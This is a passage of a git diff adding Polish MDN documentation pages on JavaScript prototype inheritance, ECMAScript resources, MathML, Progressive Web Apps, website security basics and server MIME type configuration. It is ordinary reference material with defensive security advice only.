do implementacji dziedziczenia.</p> + +<div class="note"> +<p>JavaScript nie wykrywa właściwości klasy dziecka <code>prototype.constructor</code> (zobacz <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/prototype">Core JavaScript 1.5 Reference:Global Objects:Object:prototype</a>), więc musimy tego dokonać ręcznie.</p> +</div> + +<p>W poniższym przykładzie definiujemy klasę <code>Student</code> jako dziecko klasy <code>Person</code>. Następnie definiujemy ponownie metodę <code>sayHello()</code> oraz dodajemy metodę <code>sayGoodBye()</code>.</p> + +<pre class="brush: js">// Definicja konstruktora Person +function Person(firstName) { + this.firstName = firstName; +} + +// Dodajemy kilka metod do Person.prototype +Person.prototype.walk = function(){ + alert("I am walking!"); +}; +Person.prototype.sayHello = function(){ + alert("Hello, I'm " + this.firstName); +}; + +// Definiujemy konstruktor +function Student(firstName, subject) { + // Wywołujemy konstruktor rodzica (używając Function#call) upewniając się, że "this" + // <span style="font-size: 1rem;">zostanie ustawione poprawnie podczas wywołania</span> + Person.call(this, firstName); + + // inicjalizujemy właściwości odpowiednie dla studenta + this.subject = subject; +}; + +// Tworzymy obiekt Student.prototype, który dziedziczy po Person +// Uwaga: Typowym błędem w takich przypadkach jest użycie "new Person()" do utworzenia Student.prototype. +// Jest to niepoprawne z kilku powodów, nie wspominając o tym, +// Nie mielibyśmy jakiej wartości podać jako argument "firstName". +// Prawidłowym miejscem na wywołanie konstruktora Person jest to powyżej, w konstruktorze Student +Student.prototype = Object.create(Person.prototype); + +// Ustawiamy właściwość "constructor" na obiekt Student +Student.prototype.constructor = Student; + +// Zmieniamy metodę "sayHello" +Student.prototype.sayHello = function(){ + alert("Hello, I'm " + this.firstName + ". I'm studying " + this.subject + "."); +}; + +// Dodajemy metodę "sayGoodBye" +Student.prototype.sayGoodBye = function(){ + alert("Goodbye!"); +}; + +// Przykład użycia: +var student1 = new Student("Janet", "Applied Physics"); +student1.sayHello(); // "Hello, I'm Janet. I'm studying Applied Physics." +student1.walk(); // "I am walking!" +student1.sayGoodBye(); // "Goodbye!" + +// sprawdzamy poprawność działania "instanceof" +alert(student1 instanceof Person); // true +alert(student1 instanceof Student); // true +</pre> + +<p>Jeśli chodzi o linię <code>Student.prototype = Object.create(Person.prototype);</code> w starszych silnikach JavaScript, nie posiadających metody <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="Object.create"><code>Object.create</code></a>, można użyć tzw. "polyfill" (aka "shim", patrz artykuł powyżej), czyli funkcję, która stanowi swego rodzaju łatkę zapewniającą kompatybilność wsteczną danej funkcjonalności. Można też samemu napisać funkcję dającą taki sam efekt:</p> + +<pre class="brush: js">function createObject(proto) { + function ctor() { } + ctor.prototype = proto; + return new ctor(); +} + +// Przykład użycia: +Student.prototype = createObject(Person.prototype); +</pre> + +<div class="note">Zobacz <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a>, żeby poznać wszystkie jego możliwości oraz znaleźć łatkę dla starszych silników JavaScript.</div> + +<h4 id="Encapsulation" name="Encapsulation">Enkapsulacja (hermetyzacja)</h4> + +<p>W poprzednim przykładzie klasa <code>Student</code> nie musiała wiedzieć, w jaki sposób metoda <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">walk()</span><span style="line-height: 1.5;"> klasy </span><code style="font-style: normal; line-height: 1.5;">Person</code><span style="line-height: 1.5;"> została zaimplementowana</span><span style="line-height: 1.5;">, ale wciąż mogła jej używać; klasa </span><code style="font-style: normal; line-height: 1.5;">Student</code><span style="line-height: 1.5;"> nie musi ponownie definiować tej metody, dopóki nie chcemy jej zmienić. To zjawisko nazywamy </span><strong style="line-height: 1.5;">enkapsulacją</strong><span style="line-height: 1.5;">, czyli każda klasa dziedziczy metody swojego rodzica i definiuje własne tylko wtedy, gdy chce coś zmienić.</span></p> + +<h4 id="Abstraction" name="Abstraction">Abstrakcja</h4> + +<p>Abstrakcja jest mechanizmem, który pozwala modelować aktualnie rozpatrywany problem. Może to być osiągane przez dziedziczenie (specjalizację) lub kompozycję. JavaScript osiąga specjalizację dzięki dziedziczeniu, a kompozycję dzięki umożliwieniu instancjom klas bycie wartościami atrybutów innych obiektów.</p> + +<p>Klasa Function w JavaScript dziedziczy po klasie Object (jest to przykład specjalizacji modelu), natomiast właściwość Function.prototype jest instancją Object (co z kolei jest przykładem kompozycji).</p> + +<pre class="brush: js">var foo = function(){}; +alert( 'foo is a Function: ' + (foo instanceof Function) ); +alert( 'foo.prototype is an Object: ' + (foo.prototype instanceof Object) ); +</pre> + +<h4 id="Polymorphism" name="Polymorphism">Polimorfizm</h4> + +<p>Tak, jak wszystkie metody i właściwości są zdefiniowane wewnątrz właściwości <code>prototype</code>, tak różne klasy mogą definiować metody z tą samą nazwą; metody mają zasięg ograniczony do klasy, w której zostały zdefiniowane. Ma to rację bytu tylko w przypadku, gdy dwie klasy nie są w relacji rodzic-dziecko (kiedy jedna nie dziedziczy po drugiej w łańcuchu dziedziczenia).</p> + +<h2 id="Notes" name="Notes">Uwagi</h2> + +<p>Techniki implementacji programowania zorientowanego obiektowo zaprezentowane w tym artykule nie są jedynymi, jakie umożliwia JavaScript, dzięki czemu sposób osiągnięcia programowania obiektowego jest w tym języku bardzo elastyczny.</p> + +<p>Techniki tutaj przedstawione nie zawierają żadnych sztuczek językowych, ani nie próbują naśladować implementacji teorii obiektowości z innych języków.</p> + +<p>Istnieją inne techniki, które czynią programowanie obiektowe w JavaScript jeszcze bardziej zaawansowanym, jednak są one poza zasięgiem tego artykułu wprowadzającego.</p> + +<h2 id="References" name="References">Przypisy</h2> + +<ol> + <li>Mozilla. "<a href="/docs/Web/JavaScript/Guide" title="/docs/Web/JavaScript/Guide">Core JavaScript 1.5 Guide</a>", https://developer.mozilla.org/docs/Web/JavaScript/Guide</li> + <li>Wikipedia. "Object-oriented programming", <a class="external" href="http://en.wikipedia.org/wiki/Object-oriented_programming" rel="freelink">http://en.wikipedia.org/wiki/Object-...ed_programming</a></li> + <li><a href="http://davidwalsh.name/javascript-objects">OOP JavaScript Overview</a> series by Kyle Simpson</li> +</ol> diff --git a/files/pl/web/javascript/zasoby_języka_javascript/index.html b/files/pl/web/javascript/zasoby_języka_javascript/index.html new file mode 100644 index 0000000000..c53fd0fd2a --- /dev/null +++ b/files/pl/web/javascript/zasoby_języka_javascript/index.html @@ -0,0 +1,48 @@ +--- +title: Zasoby języka JavaScript +slug: Web/JavaScript/Zasoby_języka_JavaScript +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Language_Resources +--- +<p> +</p> +<h3 id="JavaScript_1.x" name="JavaScript_1.x">JavaScript 1.x</h3> +<p>ECMAScript jest nazwą używaną dla JavaScriptu ustandaryzowanego przez komitet TC39 <a class="external" href="http://www.ecma-international.org/">organizacji standardów ECMA</a>. Poniższe standardy ECMAScript zostały zatwierdzone: +</p> +<table class="standard-table"> <tbody><tr> <th>Nazwa</th> <th>Odnośniki</th> <th>Data</th> <th>Opis</th> </tr> <tr> <td>ECMA-262</td> <td><a class="external" href="http://www.mozilla.org/js/language/E262.pdf">PDF</a></td> <td>Czerwiec 1997</td> <td>Oryginalny standard ECMAScript.</td> </tr> <tr> <td>2 Edycja ECMA-262</td> <td><a class="external" href="http://www.mozilla.org/js/language/E262-2.pdf">PDF</a></td> <td>Sierpień 1998</td> <td>Druga wersja standardu ECMAScript; również standard ISO 16262.</td> </tr> <tr> <td>3 Edycja ECMA-262</td> <td><a class="external" href="http://www.mozilla.org/js/language/E262-3.pdf">PDF</a> <a class="external" href="http://www.mozilla.org/js/language/E262-3.doc">Word</a></td> <td>Grudzień 1999</td> <td>Trzecia i najbardziej aktualna wersja standardu ECMAScript; nawiązuje do JavaScript 1.5.<br> Zobacz także <a class="external" href="http://www.mozilla.org/js/language/E262-3-errata.html">erratę</a>.</td> </tr> <tr> <td>ECMA-357</td> <td><a class="external" href="http://www.mozilla.org/js/language/ECMA-357.pdf">PDF</a></td> <td>Czerwiec 2004</td> <td>ECMAScript dla XML (E4X).<br> Zobacz także <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">erratę E4X</a>.</td> </tr> +</tbody></table> +<h3 id="JavaScript_2.0_i_4_edycja_ECMAScript" name="JavaScript_2.0_i_4_edycja_ECMAScript">JavaScript 2.0 i 4 edycja ECMAScript</h3> +<h4 id="Bie.C5.BC.C4.85ce_informacje" name="Bie.C5.BC.C4.85ce_informacje"> Bieżące informacje</h4> +<p>Nowe: myśl przewodnia Brendana <a class="external" href="http://www.mozilla.org/js/language/ICFP-Keynote.ppt">JavaScript at Ten Years</a> <small>(Powerpoint)</small> na konferencję <a class="external" href="http://www.brics.dk/~danvy/icfp05/">ACM ICFP 2005</a>. +</p><p>Obecne prace nad czwartą edycją ECMAScript są okresowe wysyłane na <a class=" external" href="http://developer.mozilla.org/es4/" rel="freelink">http://developer.mozilla.org/es4/</a> +</p> +<h4 id="Informacje_historyczne" name="Informacje_historyczne"> Informacje historyczne </h4> +<div class="warning"> +<p>Informacje w tym fragmencie są przestarzałe. +</p> +</div> +<p>Zobacz <a class="external" href="http://www.mozilla.org/js/language/js20/index.html">stronę JavaScript 2.0</a>, aby obejrzeć propozycję Netscapa dotyczącą kolejnej wersji języka JavaScript. Wszystkie informacje tam zawarte są w zasadzie jedynie wstępem i niekoniecznie wskazują konkretne funkcje, które zostaną zaimplementowane w przyszłości. Pracujemy w ramach ECMA TC39, aby koordynować i ustandaryzować proponowane zmiany. +</p><p>Zobacz stronę <a class="external" href="http://www.mozilla.org/js/language/es4/index.html">4 edycji ECMAScript</a>, aby dowiedzieć się o pokrewnej Netscapowi propozycji kolejnej wersji standardu ECMAScript. +</p><p>Waldemar jest twórcą 4 edycji standardu ECMA-262 zaproponowanej na rok 2002. Niekompletny szkic ECMA TC39, będący w trakcie konstrukcji, jest dostępny tutaj w formacie PDF. +</p><p>Waldemar zaprezentował wykład na temat JavaScriptu 2.0 na <a class="external" href="http://ll1.ai.mit.edu/">konferencji LL1</a> na MIT. Sprawdź odnośnik agendy, aby uzyskać slajdy z wykładu. +</p><p>Waldemar zaprezentował druk <a class="external" href="http://www.mozilla.org/js/language/evolvingJS.pdf">"JavaScript 2.0: Evolving a Language for Evolving Systems?"</a><small> (PDF)</small> oraz wykład na temat JavaScriptu 2.0 (<a class="external" href="http://www.mozilla.org/js/language/evolvingJSTalk.ppt">slajdy PowerPoint</a>) na <a class="external" href="http://www.machack.com/">MacHack 2002</a>. Opisują one niektóre z cech języka JavaScript 2.0 i uzasadnienie ich wyboru i konkretnego użycia. +</p><p>Dostępna jest wczesna implementacja JavaScriptu 2.0 o nazwie kodowej <a class="external" href="http://www.mozilla.org/js/language/Epimetheus.html">Epimetheus</a>. +</p> +<h3 id="LiveConnect" name="LiveConnect">LiveConnect</h3> +<p>LiveConnect jest mostem pomiędzy JavaScriptem a Javą. <a class="external" href="http://www.mozilla.org/js/liveconnect/">3 wersja LiveConnect</a> jest zaimplementowana w <a href="pl/SpiderMonkey">SpiderMonkey</a> od wersji 1.4 i w <a href="pl/Rhino">Rhino</a> od wersji 1.5. +</p> +<h3 id="R.C3.B3.C5.BCne" name="R.C3.B3.C5.BCne">Różne</h3> +<p>Poniższe zasoby mogą również okazać się pomocne: +</p> +<ul><li> <a class="external" href="http://www.mozilla.org/js/language/grammar14.html">Gramatyka LR(1)</a> dla JavaScriptu 1.5 <small><a class="external" href="http://www.mozilla.org/js/language/grammar14.rtf">(wersja rtf)</a></small> +</li><li> <a class="external" href="http://www.mozilla.org/js/language/bibliography.html">Bibliografia Waldemara</a> +</li></ul> +<div class="originaldocinfo"> +<h2 id="Informacje_o_pochodzeniu_dokumentu" name="Informacje_o_pochodzeniu_dokumentu"> Informacje o pochodzeniu dokumentu </h2> +<ul><li> Autorzy: <a class="link-mailto" href="mailto:brendan@mozilla.org">Brendan Eich</a>, <a class="link-mailto" href="mailto:bob@bclary.org">Bob Clary</a> +</li><li> Data ostatniej aktualizacji: Friday, January 24, 2003 +</li></ul> +</div> +{{ languages( { "en": "en/JavaScript_Language_Resources", "ja": "ja/JavaScript_Language_Resources" } ) }} diff --git a/files/pl/web/mathml/index.html b/files/pl/web/mathml/index.html new file mode 100644 index 0000000000..34602df279 --- /dev/null +++ b/files/pl/web/mathml/index.html @@ -0,0 +1,62 @@ +--- +title: MathML +slug: Web/MathML +tags: + - MathML + - Wszystkie_kategorie +translation_of: Web/MathML +--- +<p>Moduł MathML: Dodaje możliwość wyświetlania języka MathML wewnątrz Mozilli.</p> + +<h2 id="Przykład_w_XHTML">Przykład w XHTML</h2> + +<pre class="brush: html"><?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" + "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml"> +<head> + <title>MathML Example</title> +</head> + +<body> +<math xmlns="http://www.w3.org/1998/Math/MathML"> + <mfrac> + <msubsup> + <mi>a</mi> + <mi>i</mi> + <mi>j</mi> + </msubsup> + <msub> + <mi>x</mi> + <mn>0</mn> + </msub> + </mfrac> + <mo>−</mo> + <msqrt> + <msup> + <mi>δ</mi> + <mn>2</mn> + </msup> + <mo>−</mo> + <mn>1</mn> + </msqrt> +</math> +</body> +</html> +</pre> + +<h2 id="Dokumenty" name="Dokumenty">Dokumenty</h2> + +<ul> + <li><a href="/en/Mozilla_MathML_Project">Strona projektu MathML</a> na mozilla.org</li> + <li><a href="/en/Mozilla_MathML_Project/Authoring">Adaptowanie MathML dla Mozilli</a></li> + <li><a href="/en/Mozilla_MathML_Project/Fonts">Czcionki MathML dla Mozilli</a></li> +</ul> + +<h2 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2> + +<p>Obejrzyj fora Mozilli...</p> + +<p>{{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</p> + +<p>{{ languages( { "en": "en/MathML", "ja": "ja/MathML" } ) }}</p> diff --git a/files/pl/web/progressive_web_apps/index.html b/files/pl/web/progressive_web_apps/index.html new file mode 100644 index 0000000000..fd20bc5fbf --- /dev/null +++ b/files/pl/web/progressive_web_apps/index.html @@ -0,0 +1,113 @@ +--- +title: Progressive web apps (PWAs) +slug: Web/Progressive_web_apps +translation_of: Web/Progressive_web_apps +--- +<table class="standard-table"> + <tbody> + <tr> + <td> + <div class="twocolumns"> + + </div> + + + </td> + <td></td> + </tr> + <tr> + <td></td> + <td></td> + </tr> + <tr> + <td></td> + <td></td> + </tr> + </tbody> +</table> + + + +<dl> +</dl> + +<p class="summary"><img alt="progressive web apps community PWA logo" src="https://mdn.mozillademos.org/files/16742/pwa.png" style="display: block; height: 188px; margin: 0px auto; width: 350px;"></p> + +<h2 id="PWA_advantages">PWA advantages</h2> + +<p>PWA should be discoverable, installable, linkable, network independent, progressive, re-engageable, responsive, and safe. To find out more about what these mean, read <a href="/en-US/docs/Web/Progressive_web_apps/Advantages">Progressive web app advantages</a>.</p> + +<p><a href="https://developers.google.com/web/updates/2018/05/beyond-spa">Google</a> uses a helpful acronym for us to understand why PWA are so effective: FIRE – Fast, Integrated, Reliable, and Engaging. This acronym is itself a perfect explanation of why PWA is in trend amongst developers.</p> + +<p>To find out how to implement PWA, consult the guides listed in the below section.</p> + +<h2 id="Core_PWA_guides">Core PWA guides</h2> + +<p>The following guides show you what need to do to implement a PWA, by examining a simple example and showing you how all the pieces work.</p> + +<ol> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Introduction">Introduction to progressive web apps</a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/App_structure">Progressive web app structure</a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Offline_Service_workers">Making PWA work offline with Service workers</a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Installable_PWAs">How to make PWA installable</a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Re-engageable_Notifications_Push">How to make PWA re-engageable using Notifications and Push</a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Loading">Progressive loading</a></li> + <li><a href="https://pwafire.org">Collection of resources, codelabs and tools you need to build PWA by the team at pwafire.org</a></li> + <li><a href="https://github.com/pwafire/pwadev-tips">Setting up your Progressive Web App Development environment</a></li> +</ol> + +<div class="column-container"> +<div class="column-half"> +<h2 id="Technology_guides">Technology guides</h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a> — A lengthy guide showing how and when to use web storage, IndexedDB, and service workers.</li> + <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using service workers</a> — A more in-depth guide covering the Service Worker API.</li> + <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a> — The fundamentals of IndexedDB, explained in detail.</li> + <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> — The Web storage API made simple.</li> + <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener">Instant Loading Web Apps with An Application Shell Architecture</a> — A guide to using the App Shell coding pattern to create apps that load quickly.</li> + <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API</a> — Learn the essentials behind the Web Push API.</li> + <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a> — Web notifications in a nutshell.</li> + <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">The building blocks of responsive design</a> — Learn the basics of responsive design, an essential topic for modern app layout.</li> + <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/Mobile_first">Mobile first</a> — Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.</li> + <li><a href="/en-US/docs/Web/Apps/Progressive/Add_to_home_screen">Add to home screen guide</a> — Learn how your apps can take advantage of Add to home screen (A2HS).</li> +</ul> +</div> + +<div class="column-half"> +<h2 id="Tools">Tools</h2> + +<ul> + <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a> — A nice simple JavaScript library for making client-side data storage really simple; it uses IndexedDB by default and falls back to Web SQL/Web Storage if necessary.</li> + <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener">ServiceWorkerWare</a> — An <em>Express-like</em> microframework for easy Service Worker development.</li> + <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener">oghliner</a> — Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.</li> + <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener">sw-precache</a> — A node module to generate service worker code that will precache specific resources.</li> + <li><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a> — Spiritual successor to sw-precache with more advanced caching strategies and easy precaching.</li> + <li><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a> — A tiny script that makes sure your site is always there for your users.</li> + <li><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">The service worker cookbook</a> — A series of excellent service worker/push recipes, showing how to implement an offline app, but also much more.</li> + <li><a href="https://marketplace.visualstudio.com/items?itemName=mayeedwin.vscode-pwa">PWA VS Code extension</a> - A collection of all essential code snippets you need to build Progressive Web Apps right there in your VS Code environment.</li> +</ul> +</div> +</div> + +<ul> + <li><a href="https://developers.google.com/web/progressive-web-apps">Progressive web apps</a> on Google Developers.</li> + <li><a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh">Progressive Web Apps: Escaping Tabs Without Losing Our Soul</a> by Alex Russell.</li> + <li><a href="https://developers.google.com/web/progressive-web-apps/checklist">Progressive Web Apps Check List</a>.</li> + <li><a href="https://developers.google.com/web/tools/lighthouse">The Lighthouse Tool</a> by Google.</li> + <li><a href="https://github.com/angular/mobile-toolkit">Tools for building progressive web apps with Angular</a>.</li> + <li><a href="https://github.com/codebusking/react-pwa-guide-kit">React PWA Guide Kit</a>.</li> + <li><a href="https://pokedex.org/">Offline-capable Pokédex web site</a>.</li> + <li><a href="https://hnpwa.com/">Hacker News readers as Progressive Web Apps</a>.</li> + <li><a href="https://ymedialabs.com/progressive-web-apps">Why Progressive Web Apps Are The Future of Mobile Web (2019 Research)</a>.</li> + <li><a href="https://www.csschopper.com/blog/progressive-web-apps-everything-you-need-to-know/">Progressive Web Apps: Everything You Need To Know</a></li> +</ul> + +<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div> + +<p> + </p><dl> + </dl> + + +<p><span style="display: none;"> </span></p> diff --git a/files/pl/web/security/securing_your_site/index.html b/files/pl/web/security/securing_your_site/index.html new file mode 100644 index 0000000000..59682ddf82 --- /dev/null +++ b/files/pl/web/security/securing_your_site/index.html @@ -0,0 +1,55 @@ +--- +title: Securing your site +slug: Web/Security/Securing_your_site +tags: + - HTTP + - NeedsTranslation + - Security + - TopicStub + - Web Development + - Website Security +translation_of: Web/Security/Securing_your_site +--- +<p>{{ draft() }}</p> + +<p>There are a number of things you can do to help secure your site. This article offers an assortment of suggestions, as well as links to other articles providing more useful information.</p> + +<div class="note"><strong>Note:</strong> This article is a work in progress, and is neither complete nor does following its suggestions guarantee your site will be fully secure.</div> + +<h2 id="User_information_security">User information security</h2> + +<dl> + <dt><a href="/en/How_to_Turn_Off_Form_Autocompletion" title="en/How to Turn Off Form Autocompletion">How to turn off form autocompletion</a></dt> + <dd>Form fields support autocompletion in Gecko; that is, their values can be remembered and automatically brought back the next time the user visits your site. For certain types of data, you may wish to disable this feature.</dd> + <dt><a href="/en/CSS/Privacy_and_the_:visited_selector" title="en/CSS/Privacy and the :visited selector">Privacy and the :visited selector</a></dt> + <dd>This article discusses changes made to the <code>getComputedStyle()</code> method that eliminates the ability for malicious sites to figure out the user's browsing history.</dd> + <dt><a href="https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet">Hash passwords using a secure algorithm</a> (OWASP)</dt> + <dd>Storing passwords in plain text can lead to attackers knowing and leaking the exact password of your site's users, potentially putting the users at risk. The same issues can arise if you use an old or insecure algorithm for hashing (such as md5). You should use a password-specific hashing algorithm (such as Argon2, PBKDF2, scrypt or bcrypt) instead of message digest algorithms (such as md5 and sha). This article showcases best practices to use when storing passwords.</dd> +</dl> + +<h2 id="Content_security">Content security</h2> + +<dl> + <dt><a href="/en/Properly_Configuring_Server_MIME_Types" title="en/Properly Configuring Server MIME Types">Properly configuring server MIME types</a></dt> + <dd>There are several ways incorrect MIME types can cause potential security problems with your site. This article explains some of those and shows how to configure your server to serve files with the correct MIME types.</dd> + <dt><a href="/en/Security/HTTP_Strict_Transport_Security" title="en/Security/HTTP Strict Transport Security">HTTP Strict Transport Security</a></dt> + <dd>The <code>Strict-Transport-Security:</code> <a href="/en/HTTP" title="en/HTTP">HTTP</a> header lets a website specify that it may only be accessed using HTTPS.</dd> + <dt><a href="/en-US/docs/Web/HTTP/CORS" title="En/HTTP access control">HTTP access control</a></dt> + <dd>The Cross-Origin Resource Sharing standard provides a way to specify what content may be loaded from other domains. You can use this to prevent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use.</dd> + <dt><a href="/en/Security/CSP">Content Security Policy</a></dt> + <dd>An added layer of security that helps to detect and mitigate certain types of attacks, including {{Glossary("Cross-site_scripting", "Cross Site Scripting (XSS)")}} and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. Code is executed by the victims and lets the attackers bypass access controls and impersonate users. According to the Open Web Application Security Project, XSS was the <a class="external external-icon" href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" rel="noopener">seventh most common Web app vulnerability</a> in 2017.</dd> + <dt><a href="/en-US/docs/Web/HTTP/X-Frame-Options">The X-Frame-Options response header</a></dt> + <dd> + <p>The <code>X-Frame-Options:</code> <a href="/en/HTTP" title="en/HTTP">HTTP</a> response header can be used to indicate whether or not a browser should be allowed to render a page in a {{ HTMLElement("frame") }}. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.</p> + </dd> + <dt>Securing Your Site using Htaccess</dt> + <dd>It is the best way to secure your site using the .htaccess file. You can blacklist IPs, restrict access to certain areas of website, protect different files, protect against image hotlinking, and a lot more.</dd> +</dl> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a class="external" href="https://www.owasp.org/">Open Web Application Security Project (OWASP)</a></li> +</ul> + +<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</div> diff --git a/files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html b/files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html new file mode 100644 index 0000000000..87aea6b3b3 --- /dev/null +++ b/files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html @@ -0,0 +1,114 @@ +--- +title: Poprawna kofiguracja MIME na serwerze +slug: Web/Security/Securing_your_site/Konfiguracja_MIME_na_serwerze +tags: + - HTTP +translation_of: Learn/Server-side/Configuring_server_MIME_types +--- +<h2 id="Background" name="Background">Kontekst</h2> + +<p>Wiele serwerów webowych domyślnie ma skonfigurowane raportowanie typów MIME <code>text/plain</code> lub <code>application/octet-stream</code> w przypadku nierozpoznanych typów zawartości. Kiedy nowe typy zawartości dopiero powstają lub są dodawane do serwerów webowych zdarza się, że administratorzy webowi nie dodają nowo-powstałych typów MIME do ustawień serwera webowego. I to właśnie stanowi główną bolączkę użytkowników przeglądarek opartych o Gecko, które uznają typy MIME jako zraportowane przez serwery i aplikacje webowe.</p> + +<h3 id="What_are_MIME_types.3F" name="What_are_MIME_types.3F">Czym są typy MIME?</h3> + +<p>Typy MIME opisują typ danych zawartości mailowej lub obsługiwanej przez serwery lub aplikacje webowe i ich zadaniem jest pomoc przeglądarce w przetworzeniu i wyświetleniu zawartości. Przykładami typów MIME są:</p> + +<ul> + <li><code>text/html</code> dla zwykłych stron WWW</li> + <li><code>text/plain</code> dla zwykłego tekstu</li> + <li><code>text/css</code> dla kaskadowych arkuszy stylów</li> + <li><code>text/javascript</code> dla skryptów</li> + <li><code>application/octet-stream</code> przy pobieraniu pliku</li> + <li><code>application/x-java-applet</code> dla apletów Javy</li> + <li><code>application/pdf</code> dla dokumentów PDF</li> +</ul> + +<h3 id="Technical_Background" name="Technical_Background">Kontekst techniczny</h3> + +<p>Zarejestrowane wartości MIME są dostępne w <a class="external" href="http://www.iana.org/assignments/media-types/index.html">Typy danych IANA | MIME</a>. <a class="external" href="http://www.w3.org/Protocols/HTTP/1.1/spec.html">Specyfikacja HTTP</a> definiuje nadzbiór typów MIME, który jest używany do opisu typów danych używanych w sieci WWW.</p> + +<h3 id="Why_are_correct_MIME_types_important.3F" name="Why_are_correct_MIME_types_important.3F">Dlaczego poprawne typy MIME są tak istotne?</h3> + +<p><img alt="Example of an incorrect MIME type result" class="internal" src="/@api/deki/files/729/=Incorrect-mime-screen.jpg" style="float: right;"> Jeśli serwer lub aplikacja webowa dla danej zawartości raportuje niepoprawny typ MIME, przeglądarka nie ma możliwości, <em>wg specyfikacji HTTP</em>, wiedzieć, że autor zainicjował przetworzenie i wyświetlenie danej zawartości w odmienny sposób, niż domyślny dla zraportowanego typu MIME.</p> + +<p>Niektóre z przeglądarek, jak Microsoft® Internet Explorer, dążą do zezwalania niepoprawnie skonfigurowanym serwerom i aplikacjom webowym na <em><a class="external" href="http://support.microsoft.com/default.aspx?sd=msdn&scid=kb;en-us;293336">zgadywanie</a></em>, jaki powinien być poprawny typ MIME. Takie podejście uchroniło wielu administratorów webowych przed własnymi błędami - Internet Explorer kontynuuje przetwarzanie zawartości zgodnie z oczekiwaniami mimo, że sam serwer webowy nie jest poprawnie skonfigurowany i np. wyświetla obrazek, który został zraportowany jako będący rzekomo zwykłym tekstem.</p> + +<p>Obsługa treści poprzez używanie poprawnego typu MIME jest istotna także z punktu widzenia bezpieczeństwa; istnieje ryzyko wyrządzenia przez niechcianą treść szkód na komputerze użytkownika poprzez symulowanie, że typ danej zawartości jest bezpieczny mimo, że w istocie może nie być to prawda.</p> + +<div class="note"> +<p><strong>Zauważ:</strong> Kiedyś Firefox ładował pliki CSS nawet, jeśli posiadały błędny typ MIME. Wystarczyło, że dokument HTML, który o nie wnioskował działał w trybie osobliwości (quirks mode). Ze względów bezpieczeństwa, {{ gecko("2.0") }} nie będzie dłużej kontynować tego typu zachowań w przypadku arkuszy stylów ładowanych z innych źródeł, niż dokument, który o nie wnioskował. Jeśli Twój arkusz stylów pochodzi z innego źródła, niż główny dokument <strong>musisz </strong>obsłużyć go poprzez poprawny typ MIME (<code>text/css</code>).</p> + +<p>Gecko 1.9.1.11 (Firefox 3.5.11) i Gecko 1.9.2.5 (Firefox 3.6.5) również zaimplementowały tę łatkę bezpieczeństwa, ale by polepszyć zgodność <strong>tymczasowo </strong>istniała heurytrystyka pozwalająca na załadowanie, jeśli pierwsza linia w arkuszu stylów wydawała się być poprawną konstrukcją CSSową; heurytrystyka ta została usuninęta w Firefoxie 4 i od tego czasu należy odpowiednio ustawić typy MIME <code>text/css</code>, aby strony CSS zostały rozpoznane.</p> +</div> + +<h2 id="Why_browsers_should_not_guess_MIME_types" name="Why_browsers_should_not_guess_MIME_types">Dlaczego przeglądarki nie powinny zgadywać typów MIME</h2> + +<p>Poza naruszaniem specyfikacji HTTP istnieją dodatkowe powody, dla których zgadywanie typów MIME nie należy do najlepszych praktyk:</p> + +<h4 id="Loss_of_control" name="Loss_of_control">Utrata kontroli</h4> + +<p>Jeśli przeglądarka ignoruje zaraportowany typ MIME, administratorzy i autorzy webowi nie mają dłużej kontroli nad 